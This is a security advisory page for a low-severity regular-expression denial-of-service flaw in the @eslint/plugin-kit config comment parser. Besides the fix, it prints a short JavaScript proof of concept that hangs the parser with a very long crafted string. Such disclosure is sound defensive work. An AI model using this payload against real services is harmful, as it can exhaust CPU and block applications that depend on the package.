GHSA-xffm-g5w8-qvg7
Suggest an improvement- Source
- https://github.com/advisories/GHSA-xffm-g5w8-qvg7
- Import Source
- https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/07/GHSA-xffm-g5w8-qvg7/GHSA-xffm-g5w8-qvg7.json
- JSON Data
- https://api.osv.dev/v1/vulns/GHSA-xffm-g5w8-qvg7
- Related
- Published
- 2025-07-18T20:39:12Z
- Modified
- 2026-02-04T02:32:38.065271Z
- Severity
-
- 2.3 (Low) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N CVSS Calculator
- Summary
- @eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser
- Details
-
Summary
The
ConfigCommentParser#parseJSONLikeConfigAPI is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.Details
The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with
[^-a-zA-Z0-9/].PoC
const { ConfigCommentParser } = require("@eslint/plugin-kit"); const str = `${"A".repeat(1000000)}?: 1 B: 2`; console.log("start") var parser = new ConfigCommentParser(); console.log(parser.parseJSONLikeConfig(str)); console.log("end") // run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js` // then the program will stuck forever with high CPU usageImpact
This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.
- Database specific
{ "github_reviewed": true, "nvd_published_at": null, "cwe_ids": [ "CWE-1333" ], "github_reviewed_at": "2025-07-18T20:39:12Z", "severity": "LOW" }- References
Affected packages
npm / @eslint/plugin-kit
Package
- Name
- @eslint/plugin-kit
- View open source insights on deps.dev
- Purl
- pkg:npm/%40eslint/plugin-kit